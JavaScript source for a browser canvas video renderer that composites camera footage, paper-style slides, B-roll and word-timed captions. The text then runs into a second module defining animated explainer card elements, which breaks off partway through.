// layout.side 'left' mirrors it: camera on the LEFT, paper on the right; x keeps its meaning (the paper width), so
// 1280 = camera 1/3 left + paper 2/3 right, and the stage is centred in the paper.
// Draw order: page paper -> stage (clipped left of the deckle edge) -> camera -> edge shadow -> 'over' scenes (output px, 1920x1080, unmoved by the layout) ->
// full-screen B-roll -> 'top' scenes (output px, above the B-roll) -> captions (off unless captions.on).
import * as K from './kit.js';
import { installEncoder } from './encode.js';
import { mapper, mapSpec, captionChunks } from './timeline.js';
import { SCENES, drawActor, actorNeeds, linkScenes } from './scenes.js';
import { withStyle, themeOf, CAPTION_FONTS, mixHex } from './style.js';

const { C, W: SW, H: SH, S, clamp, lerp, track, noise1 } = K;
const pad5 = i => String(i).padStart(5, '0');

export async function boot() {
  const q = new URLSearchParams(location.search), scale = +q.get('scale') || 1, OW = +q.get('ow') || 1920, OH = +q.get('oh') || 1080;
  const [tl, frames, style] = await Promise.all(['/p/assets/timeline.json', '/p/assets/frames.json', '/style.json'].map(u => fetch(u).then(r => r.json())));
  K.setTheme(themeOf(style));
  if (style.font?.src) { const f = new FontFace(style.font.family, 'url(/style-font)', { weight: '100 900' }); document.fonts.add(await f.load()); }
  const spec = mapSpec(withStyle(window.SPEC, style), mapper(tl)), FPS = tl.fps;
  for (const w of ['400', '500', '600', '700', '800']) await document.fonts.load(`${w} 40px ${K.F.sans}`);
  await document.fonts.load('500 40px "JetBrains Mono"');
  K.setDisplay(spec.display);   // big-text look (style.display): its families must be loaded before the first frame
  if (K.D.font) await document.fonts.load(`${K.D.weight} 40px ${K.D.font}`);
  if (K.D.text) for (const w of ['600', '800']) await document.fonts.load(`${w} 40px ${K.D.text}`);

  const canvas = document.createElement('canvas'); canvas.width = Math.round(OW * scale); canvas.height = Math.round(OH * scale);
  document.body.appendChild(canvas);
  const ctx = canvas.getContext('2d', { alpha: false });
  K.initSheet(ctx);
  const BG = K.makeBackground(Math.round(OW * scale), Math.round(OH * scale), scale);   // native res, drawn back at OWxOH

  // ---- image cache (LRU of decoded bitmaps)
  const bitmap = url => fetch(url).then(r => r.ok ? r.blob() : null).then(b => b ? createImageBitmap(b) : null).catch(() => null);
  const cache = new Map();
  // prefetch depth (?ahead=n, default 8) and an LRU that grows with it, so a prefetch never evicts the frame being drawn
  const AHEAD = +new URLSearchParams(location.search).get('ahead') || 8;
  const PERF = { load: 0, render: 0, submit: 0, encWait: 0, flush: 0, total: 0, frames: 0 };   // see runtime.js
  let imgCap = 48;
  const load = url => {
    let p = cache.get(url);
    if (p) { cache.delete(url); cache.set(url, p); return p; }
    p = bitmap(url); cache.set(url, p);
    while (cache.size > imgCap) { const [k, v] = cache.entries().next().value; cache.delete(k); v.then(b => b && b.close?.()); }
    return p;
  };
  const camURL = t => `/p/frames/cam/${pad5(clamp(Math.round(t * FPS), 0, frames.cam - 1))}.jpg`;
  // a media with sync: true was extracted on the cut timeline (short.mjs), its frame index is SHORT time like the cam
  const brollT = (b, t) => frames.media[b.media]?.sync ? t : Math.max(0, (b.offset || 0) + t - b.from);
  // m.alias: a frame identical to an earlier one loads that one (one fetch + decode, then the image cache hits)
  const mediaURL = (id, ct) => { const m = frames.media[id]; if (!m) return null; const i = clamp(Math.round(ct * FPS), 0, m.count - 1); return `/p/frames/media/${id}/${pad5(m.alias?.[i] ?? i)}.${m.ext || 'jpg'}`; };
  const logoUsers = [...(spec.actors || []), ...(spec.scenes || [])].map(o => {
    const urls = new Set(), walk = v => { if (Array.isArray(v)) v.forEach(walk); else if (v && typeof v === 'object') for (const [k, x] of Object.entries(v)) k === 'imgs' && Array.isArray(x) ? x.forEach(u => typeof u === 'string' && urls.add('/p/' + u)) : k === 'imgKeys' && Array.isArray(x) ? x.forEach(e => typeof e?.[1] === 'string' && urls.add('/p/' + e[1])) : (k === 'logo' || k === 'labelLogo' || k === 'img' || k === 'avatarImg') && typeof x === 'string' && /\.(png|jpe?g|webp)$/i.test(x) ? urls.add('/p/' + x) : walk(x); };
    walk(o); return { from: o.from - (o.pre || 0), to: o.to, urls: [...urls] };
  }).filter(o => o.urls.length);
  const U = { cam: camURL, cut: camURL };
  const actors = spec.actors || [], scenes = linkScenes((spec.scenes || []).map(s => ({ layer: 'stage', ...s })));
  const brolls = spec.broll || [], brollOn = (b, t) => t >= b.from - .05 && t <= b.to + .2;
  const needs = t => {
    const out = frames.cam ? [camURL(t)] : [];
    for (const a of actors) for (const [id, ct] of actorNeeds(a, t)) out.push(mediaURL(id, ct));
    for (const b of brolls) if (brollOn(b, t)) out.push(mediaURL(b.media, brollT(b, t)));
    for (const o of logoUsers) if (t >= o.from - 1.5 && t <= (o.to ?? 1e9) + 1) for (const u of o.urls) out.push(u);
    for (const s of scenes) for (const n of SCENES[s.type]?.needs?.(s, t, U) || []) out.push(typeof n === 'string' ? n : mediaURL(n[0], n[1]));
    return out.filter(Boolean);
  };

  // ---- layout: one vertical edge, sprung between keys (layout.w = stiffness, softer than shorts: the moves are longer)
  const seamKeys = spec.layout?.keys || [[0, SW]], LW = spec.layout?.w ?? 9;
  const seamAt = t => clamp(track(t, seamKeys, LW), 0, OW), LEFT = spec.layout?.side === 'left';
  const edgeAt = x => LEFT ? OW - x : x;   // where the deckle edge sits on screen
  // stage offset: centred in the paper, pushed out (its inner edge on the seam) toward full camera
  const stageX = x => LEFT ? OW - x + Math.max(0, x - SW) / 2 : x >= SW ? (x - SW) / 2 : x - SW;
  const EDGE = Array.from({ length: Math.ceil(OH / 6) + 2 }, (_, i) => (noise1(i * .16) - .5) * 3.2 + (noise1(i * .9 + 40) - .5) * 1.1);
  const edgePath = (x, right) => {
    const p = new Path2D(); p.moveTo(right ? OW : 0, 0);
    for (let i = 0; i < EDGE.length; i++) p.lineTo(x + EDGE[i], Math.min(OH, i * 6));
    p.lineTo(right ? OW : 0, OH); p.closePath(); return p;
  };
  const edgeLine = x => { const p = new Path2D(); for (let i = 0; i < EDGE.length; i++) p[i ? 'lineTo' : 'moveTo'](x + EDGE[i], Math.min(OH, i * 6)); return p; };

  // ---- camera. cam.crop is the full take (16:9) so the same frames serve the panel and full camera.
  // zoom.keys [[t, z]] punch in (springs); zoom.jumps (default on) alternates 1 / zoom.punch at every real jump cut
  // (a removed gap >= zoom.gap s, at most one switch per zoom.hold s), as a hard cut, so jump cuts read as a new angle.
  const eyes = spec.cam?.eyes || [960, 400], [, , CW, CHh] = spec.cam?.crop || [0, 0, 1920, 1080];
  const zoomKeys = spec.zoom?.keys || [[0, 1]], Z = spec.zoom || {};
  // zoom.jumpKeys [[t], ...]: jump cuts already baked into the source (a Tella edit used as the take, youtube-editing mix)
  const jumps = []; if (Z.jumps !== false) {
    const hold = Z.hold ?? 4;
    if (Z.jumpKeys) {
      // mix: each keep is a motion range spliced back into the master, so a keep junction is not a visible cut.
      // The punch restarts at 1 on every range and a range never ends punched in (its exit seam must match the master).
      for (const [a, b, o] of tl.keeps) {
        const end = o + (b - a) / (tl.speed || 1), seq = [];
        let last = -1e9, on = false;
        for (const [k] of [...Z.jumpKeys].sort((x, y) => x[0] - y[0])) if (k > o && k < end && k - last >= hold) { on = !on; last = k; seq.push([k, on]); }
        if (on) seq.pop();
        jumps.push([o, false], ...seq);
      }
    } else {
      const cand = [];
      for (let i = 1; i < tl.keeps.length; i++) {
        const [a, , o] = tl.keeps[i], gap = a - tl.keeps[i - 1][1];
        if (gap >= (Z.gap ?? .6)) cand.push(o);
      }
      let last = -1e9, on = false;
      for (const o of cand.sort((x, y) => x - y)) if (o - last >= hold) { on = !on; last = o; jumps.push([o, on]); }
    }
  }
  const punch = t => { let on = false; for (const [o, v] of jumps) if (o <= t + 1e-4) on = v; else break; return on ? Z.punch ?? 1.1 : 1; };
  const camFit = (t, x) => {
    const rw = OW - x, full = 1 - clamp(x / SW), z = track(t, zoomKeys, 9) * punch(t) * lerp(spec.cam?.splitZoom ?? 1.12, 1, full);
    const s = Math.max(rw / CW, OH / CHh) * z, x1 = LEFT ? 0 : x;   // the camera panel spans x1 .. x1 + rw
    return { s, x0: clamp(x1 + rw / 2 - eyes[0] * s, x1 + rw - CW * s, x1), y0: clamp(OH * .36 - eyes[1] * s, OH - CHh * s, 0) };
  };
  const pz = tl.pause, pauseP = t => pz ? S(t - pz.t0, 18) * (1 - S(t - pz.t0 - pz.dur, 18)) : 0;
  function camera(img, t, x) {
    if (!img || x >= OW - 1) return;
    // full camera (x 0): no deckle clip, its +-3 px jitter would show a paper sliver on the frame edge (a mix seam)
    const { s, x0, y0 } = camFit(t, x), e = edgeAt(x), clip = x <= .5 ? null : edgePath(e, !LEFT);
    ctx.save(); if (clip) ctx.clip(clip); ctx.drawImage(img, x0, y0, CW * s, CHh * s);
    const g = pauseP(t);
    if (g > .002) { ctx.globalAlpha = g; ctx.filter = 'grayscale(1) contrast(.9) brightness(1.04)'; ctx.drawImage(img, x0, y0, CW * s, CHh * s); }
    ctx.restore();
    if (x > 2) {   // the paper casts a soft shadow onto the video, plus a crisp deckle edge
      ctx.save(); ctx.clip(clip);
      const dp = K.depth(), sh = 44 * (.5 + .5 * dp), gr = ctx.createLinearGradient(e, 0, LEFT ? e - sh : e + sh, 0);
      gr.addColorStop(0, `rgba(25,18,6,${Math.min(.6, .30 * dp).toFixed(3)})`); gr.addColorStop(1, 'rgba(25,18,6,0)');
      ctx.fillStyle = gr; ctx.fillRect(LEFT ? e - sh - 2 : e - 6, 0, sh + 8, OH); ctx.restore();
      ctx.save(); ctx.strokeStyle = 'rgba(60,45,20,.16)'; ctx.lineWidth = 1.5; ctx.stroke(edgeLine(e)); ctx.restore();
    }
  }

  // ---- captions: off by default (long-form keeps the frame clean, YouTube CC carries the words).
  // captions.on: true draws small paper-sticker chunks at the bottom of the camera (or of the frame on full paper,
  // and centred on the frame over a full-screen B-roll). captions.style 'rise' (the profile's) draws the word blocks of
  // the shorts instead: white words, the spoken word on an accent block that blurs in (captions.blur false = crisp).
  // captions.x (output px): the line's centre while the camera shares the frame (default: the camera's centre); a
  // 'rise' word sitting on bare paper turns ink (white would vanish there), white again over the camera or a B-roll.
  const cap = spec.captions || {}, BLOCK = CAPTION_FONTS[String(cap.style || '').toLowerCase()] && String(cap.style).toLowerCase() === 'rise';
  const chunks = cap.on ? captionChunks(tl.words, { maxWords: 5, maxChars: 30, ...cap, hide: cap.hide || [], bleep: spec.bleep }) : [];
  const allChunks = captionChunks(tl.words, { ...cap, hide: [], bleep: spec.bleep });
  const CF = BLOCK ? K.famCss(cap.font || CAPTION_FONTS.rise[0]) : K.F.sans;
  const CS = cap.size || 50, WT = cap.weight || (BLOCK ? CAPTION_FONTS.rise[1] : 800), LS = BLOCK ? -CS * .012 : -1, STROKE = Math.round(CS * .22);
  if (cap.on && BLOCK) await document.fonts.load(`${WT} 40px ${CF}`);
  const brollCover = t => brolls.reduce((m, b) => brollOn(b, t) ? Math.max(m, Math.min(1, S(t - b.from, 22) * 1.3) * (1 - S(t - b.to, 22))) : m, 0);
  const smooth = v => v * v * (3 - 2 * v);
  function blockCaption(c, t, cx, y, x, bc) {
    const crisp = cap.blur === false, base = K.midBase(y, CS), bh = CS * 1.22, top = y - bh / 2, PADX = CS * .18, GAP = CS * .05;
    const ww = w => K.measure(ctx, w.text, CS, WT, LS, CF), dev = ctx.getTransform().a;
    let wx = cx - c.words.reduce((a, w, i) => a + ww(w) + 2 * PADX + (i ? GAP : 0), 0) / 2;
    const p = crisp ? clamp((t - c.start + .04) / .05) : S(t - c.start + .08, 30), lineB = crisp ? 0 : (1 - p) * CS * .12;
    const ws = c.words.map((w, i) => {
      const bw = ww(w) + 2 * PADX, a = w.start - .04, b = i + 1 < c.words.length ? c.words[i + 1].start - .04 : Infinity;
      const o = { w, x: wx, bw, q: crisp ? clamp((t - a) / .05) : S(t - a, 28), f: crisp ? 1 - clamp((t - b) / .05) : 1 - smooth(clamp((t - b) / .12)) };
      wx += bw + GAP; return o;
    });
    ctx.save(); ctx.globalAlpha = Math.min(1, p * 1.4); if (lineB > .3) ctx.filter = `blur(${(lineB * dev).toFixed(2)}px)`;
    ctx.font = K.font(CS, WT, CF); ctx.letterSpacing = LS + 'px'; ctx.textAlign = 'left'; ctx.textBaseline = 'alphabetic';
    const xs = clamp(x, 0, OW), camL = LEFT ? 0 : xs, camR = LEFT ? OW - xs : OW;
    for (const o of ws) {   // per word: ink on paper, white with a soft shadow over the camera (40 px crossfade at its edge)
      const wc = o.x + o.bw / 2, onCam = camR - camL < 2 ? 0 : clamp(Math.min(wc - camL + 40, camR + 40 - wc) / 40);
      const ink = (1 - onCam) * (1 - bc);
      ctx.shadowColor = `rgba(0,0,0,${(.45 * (1 - ink)).toFixed(3)})`; ctx.shadowBlur = CS * .13; ctx.shadowOffsetY = CS * .03;
      ctx.fillStyle = mixHex('#FFFFFF', C.ink, ink); ctx.fillText(o.w.text, o.x + PADX, base);
    }
    ctx.shadowColor = 'transparent'; ctx.filter = 'none';
    const ga = ctx.globalAlpha;
    for (const o of ws) {   // the spoken word's block: blurs in (scale 1.04 -> 1) and fades out in place
      if (o.q <= .002 || o.f <= .002) continue;
      const b = crisp ? 0 : Math.hypot((1 - o.q) * CS * .16, lineB), sc = crisp ? 1 : 1 + .04 * (1 - o.q), mx = o.x + o.bw / 2;
      ctx.save(); ctx.globalAlpha = ga * Math.min(1, o.q * 1.25) * o.f; if (b > .3) ctx.filter = `blur(${(b * dev).toFixed(2)}px)`;
      ctx.translate(mx, y); ctx.scale(sc, sc); ctx.translate(-mx, -y);
      ctx.beginPath(); ctx.roundRect(o.x, top, o.bw, bh, CS * .14); ctx.fillStyle = C.blue; ctx.fill(); ctx.clip();
      ctx.fillStyle = C.onBlue || '#FFFFFF'; ctx.fillText(o.w.text, o.x + PADX, base); ctx.restore();
    }
    ctx.restore();
  }
  function captions(t, x) {
    let c = null; for (const ch of chunks) if (ch.start - .02 <= t) c = ch; else break;
    if (!c || t > c.end + .25 && c.next - c.end > .55) return;
    const camC = x >= OW - 1 ? OW / 2 : LEFT ? (OW - Math.max(0, x)) / 2 : (Math.max(0, x) + OW) / 2, bc = brollCover(t);
    const cx = lerp(x >= OW - 1 ? OW / 2 : cap.x ?? camC, OW / 2, bc), cy = lerp(cap.y ?? OH - 120, cap.brollY ?? cap.y ?? OH - 120, bc);
    if (BLOCK) {   // captions.scaleKeys [[t, k]]: a chunk starting at or after t is drawn k times bigger and centred on the whole
      // frame, across a split (the cold open), capped to the frame width
      const lw = c.words.reduce((a, w) => a + K.measure(ctx, w.text, CS, WT, LS, CF) + CS * .41, 0);
      const sk = Math.min((cap.scaleKeys || []).reduce((v, k) => c.start >= k[0] ? k[1] : v, 1), (OW - 80) / Math.max(1, lw));
      if (Math.abs(sk - 1) < .01) return blockCaption(c, t, cx, cy, x, bc);
      const scx = lerp(OW / 2, cx, bc);
      ctx.save(); ctx.translate(scx, cy); ctx.scale(sk, sk); ctx.translate(-scx, -cy); blockCaption(c, t, scx, cy, x, bc); ctx.restore(); return;
    }
    const base = K.midBase(cy, CS);
    const sp = K.measure(ctx, ' ', CS, WT, LS), tw = c.words.reduce((a, w, i) => a + K.measure(ctx, w.text, CS, WT, LS) + (i ? sp : 0), 0);
    let wx = cx - tw / 2;
    const vis = c.words.map(w => { const p = S(t - w.start + .04, 30), x0 = wx; wx += K.measure(ctx, w.text, CS, WT, LS) + sp; return { w, p, x: x0 }; }).filter(v => v.p > .002);
    ctx.save(); ctx.font = K.font(CS, WT); ctx.letterSpacing = LS + 'px'; ctx.textAlign = 'left'; ctx.textBaseline = 'alphabetic';
    ctx.lineJoin = 'round'; ctx.lineWidth = STROKE; ctx.strokeStyle = C.sheet; K.drop(ctx, .28, 18, 5);
    for (const { w, p, x: wx0 } of vis) { ctx.globalAlpha = Math.min(1, p * 1.4); ctx.strokeText(w.text, wx0, base + (1 - p) * 12); }
    ctx.shadowColor = 'transparent';
    for (const { w, p, x: wx0 } of vis) { ctx.globalAlpha = Math.min(1, p * 1.4); ctx.fillStyle = w.emph ? C.blue : C.ink; ctx.fillText(w.text, wx0, base + (1 - p) * 12); }
    ctx.restore();
  }

  // ---- frame
  function fullBroll(t, imgs) {
    for (const b of brolls) {
      if (!brollOn(b, t)) continue;
      const img = imgs.get(mediaURL(b.media, brollT(b, t)));
      const pin = S(t - b.from, 22), pout = S(t - b.to, 22), a = Math.min(1, pin * 1.3) * (1 - pout);
      if (!img || a <= .002) continue;
      ctx.save(); ctx.globalAlpha = a;
      if (b.keys) {   // a screen demo: [[t, zoom, fx, fy]] = from t, glide (~.7 s) to that framing and hold it (no slow push)
        let [, z, fx, fy] = b.keys[0];
        for (const [kt, kz, kx, ky] of b.keys) { if (t < kt) break; const p = S(t - kt, 9); z = lerp(z, kz, p); fx = lerp(fx, kx, p); fy = lerp(fy, ky, p); }
        K.cover(ctx, img, 0, 0, OW, OH, 0, [fx, fy], z);
      } else {
        const k = 1 + .035 * (1 - pin) + (b.zoom ?? .05) * clamp((t - b.from) / Math.max(1, b.to - b.from));
        K.cover(ctx, img, OW / 2 - OW * k / 2, OH / 2 - OH * k / 2, OW * k, OH * k, 0, b.focus || [.5, .5]);
      }
      ctx.restore();
    }
  }
  async function render(t) {
    const urls = needs(t); imgCap = Math.max(imgCap, urls.length * (AHEAD + 2) + 16);
    const w0 = performance.now(), imgs = new Map(await Promise.all(urls.map(async u => [u, await load(u)])));
    PERF.load += performance.now() - w0;
    for (let k = 1; k <= AHEAD; k++) needs(t + k / FPS).forEach(load);   // prefetch AHEAD frames in parallel (see runtime.js)
    ctx.setTransform(scale, 0, 0, scale, 0, 0);
    ctx.globalAlpha = 1; ctx.globalCompositeOperation = 'source-over'; ctx.filter = 'none';
    const x = seamAt(t), dx = stageX(x);
    const camT = () => camFit(t, x);
    const R = { ctx, t, spec, tl, cam: imgs.get(camURL(t)), frame: (id, ct) => imgs.get(mediaURL(id, ct)) || null, media: id => frames.media[id], img: u => imgs.get(u) || null, U, camT, pause: pz, pauseP: pauseP(t), allChunks, seam: SH, seamRef: SH };
    ctx.drawImage(BG, 0, 0, OW, OH);
    if (x > 4) {
      ctx.save(); ctx.clip(edgePath(edgeAt(x), LEFT)); ctx.translate(dx, 0);
      for (const a of actors) drawActor(R, a, t);
      for (const s of scenes) if (s.layer === 'stage' && t > s.from - 1 && t < (s.to ?? 1e9) + 1) SCENES[s.type]?.draw(R, s, t);
      ctx.restore();
    }
    camera(R.cam, t, x);
    ctx.save();   // 'over' scenes draw in output px (1920x1080), whatever the layout
    for (const s of scenes) if (s.layer === 'over' && t > s.from - 1 && t < (s.to ?? 1e9) + 1) SCENES[s.type]?.draw(R, s, t);
    ctx.restore();
    fullBroll(t, imgs);
    ctx.save();   // 'top' scenes: output px like 'over', but above the full-screen B-roll (a name label on interview footage)
    for (const s of scenes) if (s.layer === 'top' && t > s.from - 1 && t < (s.to ?? 1e9) + 1) SCENES[s.type]?.draw(R, s, t);
    ctx.restore();
    captions(t, x);
  }

  installEncoder(canvas, render, PERF);   // window.encodeStart / encodeUnit / encodeEnd (lib/encode.js)
  window.framePNG = async t => { await render(t); return canvas.toDataURL('image/png').split(',')[1]; };
  window.frameJPEG = async (t, q = .92) => { await render(t); return canvas.toDataURL('image/jpeg', q).split(',')[1]; };
  window.DUR = tl.duration;
  window.READY = true;
}

// Clean scenes: the "AI OS explainer" look (layout.card + paper.bg 'clean', first used by short-claude-5x-value-clean).
// One slide = one idea held 6 to 14 s: an accent eyebrow, a heavy 2-line headline that stays put, and white glass cards
// in the zone under it (y 500 to 880) that build up on the narrator's words. Times are SHORT time (mapped by mapSpec).
//   slide (stage) {from, to, pre, eyebrow, title: [l1, l2] | 'one line', hl: ['word'], size: 90, y: 350, items: [...]}
// Items use absolute 1080 px coords. Each takes {at, outAt, dimAt, ringAt}; at defaults to from - pre + .25 + i * .12.
//   card  {x, y, w, h, r}                       empty glass card
//   row   {x, y, w, h, logo, round, title, sub, pill, pillBlue, pillAlt, strikeAt}
//   stat  {x, y, w, h, logo, name, plan, value, dec, prefix, suffix, countAt, until, sub, badge, badgeAt, badgeTop, win, ghost, ghostAt}
//         ghost: a pale '?' card from ghostAt (default: slide start) that fills in at `at`
//   bars  {x, y, w, h, gap, max, rows: [{logo, label, sub, value, dec, suffix, at, countAt, until, win}]}
//   tweet {x, y, w, img, name, handle, text}     compact one-line tweet: avatar, name, handle, quote on the right
//   logo  {x, y, s, logo, tile, label}           (x, y = center)
//   img   {x, y, w, h, img}                      contain, (x, y = center)
//   pill  {x, y, text, blue, size, logo}         (x, y = center)
//   text  {x, y, text, size, weight, color: 'blue' | 'ink2' | 'ink3', align}
//   arrow {x, y, w, blue}                        horizontal, draws in from x
import { C, clamp, lerp, S, E, text, measure, midBase } from './kit.js';
import * as K from './kit.js';

const TAU = Math.PI * 2;
const rgba = (hex, a) => `rgba(${K.hexRGB(hex).join(',')},${a})`;
const hair = a => `rgba(${K.edgeRGB()},${a})`;
const fmt = (v, dec = 0) => { const [i, d] = Math.abs(v).toFixed(dec).split('.'); return (v < 0 ? '-' : '') + i.replace(/\B(?=(\d{3})+(?!\d))/g, ' ') + (d ? ',' + d : ''); };
const count = (it, t, at) => { const a = it.countAt ?? at, b = it.until ?? a + 1.2; return E.cubic(clamp((t - a) / Math.max(.05, b - a))); };
const addFilter = (ctx, f) => { ctx.filter = ctx.filter && ctx.filter !== 'none' ? ctx.filter + ' ' + f : f; };

// a white glass card: wide soft cool shadow, tight contact shadow, 1.5 px hairline
function glass(ctx, x, y, w, h, r = 28, o = {}) {
  K.shadow(ctx, x, y, w, h, r, 34, o.sh ?? .085, 12); K.shadow(ctx, x, y, w, h, r, 4, .05, 1.5);
  ctx.beginPath(); ctx.roundRect(x, y, w, h, r); ctx.fillStyle = o.fill || C.white; ctx.fill();
  ctx.strokeStyle = hair(.08); ctx.lineWidth = 1.5; ctx.stroke();
}
function ring(ctx, x, y, w, h, r, p) {
  if (p <= .002) return;
  ctx.save(); ctx.globalAlpha *= p; ctx.strokeStyle = C.blue; ctx.lineWidth = 3; ctx.shadowColor = rgba(C.blue, .35); ctx.shadowBlur = 18;
  ctx.beginPath(); ctx.roundRect(x - 6, y - 6, w + 12, h + 12, r + 6); ctx.stroke(); ctx.restore();
}
// a real logo (x, y = top left): contain in a rounded square (or a circle for avatars), hairline so white logos keep an edge
function logo(R, ctx, src, x, y, size, o = {}) {
  const im = R.img('/p/' + src); if (!im) return;
  const r = o.round ? size / 2 : o.r ?? size * .24;
  ctx.save(); if (o.gray) addFilter(ctx, `grayscale(${o.gray.toFixed(3)})`);
  if (o.round) K.cover(ctx, im, x, y, size, size, r);
  else {
    const k = Math.min(size / im.width, size / im.height), w = im.width * k, h = im.height * k;
    ctx.save(); ctx.beginPath(); ctx.roundRect(x, y, size, size, r); ctx.clip(); ctx.imageSmoothingQuality = 'high';
    ctx.drawImage(im, x + (size - w) / 2, y + (size - h) / 2, w, h); ctx.restore();
  }
  ctx.restore();
  ctx.beginPath(); ctx.roundRect(x + .5, y + .5, size - 1, size - 1, r); ctx.strokeStyle = hair(.10); ctx.lineWidth = 1; ctx.stroke();
}
// pale rounded label, (x, y) = center unless o.align 'left' | 'right'. Returns its width.
function pill(R, ctx, x, y, label, o = {}) {
  const size = o.size || 22, h = o.h || Math.round(size * 2), wt = o.weight || 600, padX = Math.round(size * .8), lg = o.logo ? size * 1.3 : 0;
  const w = measure(ctx, label, size, wt, -.2) + padX * 2 + (lg ? lg + size * .45 : 0);
  const X = o.align === 'left' ? x : o.align === 'right' ? x - w : x - w / 2;
  ctx.beginPath(); ctx.roundRect(X, y - h / 2, w, h, h / 2);
  ctx.fillStyle = o.solid ? C.blue : o.blue ? rgba(C.blue, .11) : '#EEF2F6'; ctx.fill();
  if (o.logo) logo(R, ctx, o.logo, X + padX * .8, y - lg / 2, lg, { r: lg * .28 });
  text(ctx, label, X + padX + (lg ? lg + size * .2 : 0), midBase(y, size), { size, weight: wt, ls: -.2, color: o.solid ? '#fff' : o.blue ? C.blue : C.ink2 });
  return w;
}

// ---------------------------------------------------------------- items
const ITEMS = {
  card(R, ctx, it, e) { glass(ctx, it.x, it.y, it.w, it.h, it.r ?? 30); ring(ctx, it.x, it.y, it.w, it.h, it.r ?? 30, e.ring); },

  row(R, ctx, it, e, t) {
    const { x, y, w } = it, h = it.h ?? 124, r = it.r ?? 28, ic = it.icon ?? 72, ix = x + 26, mid = y + h / 2;
    glass(ctx, x, y, w, h, r);
    if (it.logo) logo(R, ctx, it.logo, ix, mid - ic / 2, ic, { round: it.round, gray: e.dim });
    const tx = it.logo ? ix + ic + 24 : x + 30, ty = it.sub ? mid - 6 : midBase(mid, 30);
    text(ctx, it.title || '', tx, ty, { size: 30, weight: 700, ls: -.6, color: e.dim > .5 ? C.ink3 : C.ink });
    if (it.sub) text(ctx, it.sub, tx, mid + 30, { size: 22, weight: 500, ls: -.2, color: C.ink2 });
    const st = it.strikeAt != null ? S(t - it.strikeAt, 11) : 0;
    if (st > .002) {
      const tw = measure(ctx, it.title || '', 30, 700, -.6), sy = ty - 30 * .34;
      ctx.save(); ctx.strokeStyle = C.ink; ctx.lineWidth = 4; ctx.lineCap = 'round';
      ctx.beginPath(); ctx.moveTo(tx - 4, sy); ctx.lineTo(tx - 4 + (tw + 8) * st, sy); ctx.stroke(); ctx.restore();
    }
    if (it.pill) {
      const sw = it.pillAlt ? st : 0;
      if (sw < 1) { ctx.save(); ctx.globalAlpha *= 1 - sw; pill(R, ctx, x + w - 26, mid, it.pill, { align: 'right', blue: it.pillBlue }); ctx.restore(); }
      if (sw > 0) { ctx.save(); ctx.globalAlpha *= sw; pill(R, ctx, x + w - 26, mid, it.pillAlt, { align: 'right', solid: true }); ctx.restore(); }
    }
    ring(ctx, x, y, w, h, r, e.ring);
  },

  stat(R, ctx, it, e, t) {
    const { x, y, w } = it, h = it.h ?? 250, r = it.r ?? 30;
    const fill = it.ghost ? S(t - it.at, 12) : 1, gray = Math.max(e.dim, 1 - fill);
    glass(ctx, x, y, w, h, r, { fill: fill < 1 ? `rgba(255,255,255,${lerp(.55, 1, fill)})` : null });
    if (it.logo) logo(R, ctx, it.logo, x + 24, y + 24, 56, { gray });
    text(ctx, it.name || '', x + 96, y + 50, { size: 26, weight: 700, ls: -.5, color: gray > .5 ? C.ink3 : C.ink });
    if (it.plan) text(ctx, it.plan, x + 96, y + 77, { size: 20, weight: 500, ls: -.2, color: C.ink2 });
    const cp = count(it, t, it.at), va = it.countAt != null ? S(t - it.countAt, 16) : fill, sz = it.size ?? 70;
    if (it.ghost && va < 1) text(ctx, '?', x + 26, y + 172, { size: sz, weight: 800, ls: -2, color: C.dim, alpha: 1 - va });
    if (va > .002) text(ctx, (it.prefix || '') + fmt((it.value || 0) * cp, it.dec) + (it.suffix ?? ' $'), x + 26, y + 172, { size: sz, weight: 800, ls: -2.6, color: it.win ? C.blue : C.ink, alpha: va });
    if (it.sub) text(ctx, it.sub, x + 26, y + 212, { size: 21, weight: 500, ls: -.2, color: C.ink2, alpha: Math.max(.35, va) });
    if (it.badge) { const b = it.badgeAt != null ? S(t - it.badgeAt, 13) : 1;
      if (b > .002) { ctx.save(); ctx.globalAlpha *= Math.min(1, b * 1.3); ctx.translate(0, (1 - b) * 10); pill(R, ctx, x + w - 22, it.badgeTop ? y + 52 : y + h - 46, it.badge, { align: 'right', size: 28, weight: 800, solid: it.win, blue: !it.win }); ctx.restore(); } }
    ring(ctx, x, y, w, h, r, e.ring);
  },

  bars(R, ctx, it, e, t, s, i0) {
    const { x, w } = it, h = it.h ?? 118, gap = it.gap ?? 16, max = it.max || Math.max(...it.rows.map(r => r.value));
    it.rows.forEach((rw, j) => {
      const at = rw.at ?? e.at + j * .12, p = S(t - at, 13); if (p <= .002) return;
      const y = it.y + j * (h + gap) + (1 - p) * 20, mid = y + 50;
      ctx.save(); ctx.globalAlpha *= Math.min(1, p * 1.3);
      glass(ctx, x, y, w, h, 28);
      if (rw.logo) logo(R, ctx, rw.logo, x + 24, y + (h - 64) / 2, 64);
      const tx = x + 108;
      text(ctx, rw.label, tx, mid, { size: 28, weight: 700, ls: -.5 });
      if (rw.sub) text(ctx, rw.sub, tx + measure(ctx, rw.label, 28, 700, -.5) + 14, mid, { size: 21, weight: 500, ls: -.2, color: C.ink2 });
      const cp = count(rw, t, at + .2), va = S(t - (rw.countAt ?? at + .2), 16);
      const tw = w - 108 - 28, ty = y + h - 38;
      ctx.beginPath(); ctx.roundRect(tx, ty, tw, 16, 8); ctx.fillStyle = '#EDF1F5'; ctx.fill();
      const fw = tw * clamp(rw.value / max) * cp;
      if (fw > 1) { ctx.beginPath(); ctx.roundRect(tx, ty, Math.max(16, fw), 16, 8); ctx.fillStyle = rw.win ? C.blue : '#A9B2BD'; ctx.fill(); }
      if (va > .002) text(ctx, (rw.prefix || '') + fmt(rw.value * cp, rw.dec) + (rw.suffix ?? ' $'), x + w - 28, mid + 2, { size: 38, weight: 800, ls: -1.4, align: 'right', color: rw.win ? C.blue : C.ink, alpha: va });
      ring(ctx, x, y, w, h, 28, rw.ringAt != null ? S(t - rw.ringAt, 12) : 0);
      ctx.restore();
    });
  },

  tweet(R, ctx, it, e) {
    const { x, y, w } = it, h = it.h ?? 96, mid = y + h / 2;
    glass(ctx, x, y, w, h, 26);
    if (it.img) logo(R, ctx, it.img, x + 20, mid - 28, 56, { round: true });
    text(ctx, it.name || '', x + 92, mid - 4, { size: 24, weight: 700, ls: -.4 });
    if (it.handle) text(ctx, it.handle, x + 92, mid + 24, { size: 20, weight: 500, color: C.ink2 });
    if (it.text) text(ctx, '« ' + it.text + ' »', x + w - 28, midBase(mid, 28), { size: 28, weight: 600, ls: -.4, align: 'right', color: C.ink });
  },

  logo(R, ctx, it, e) {
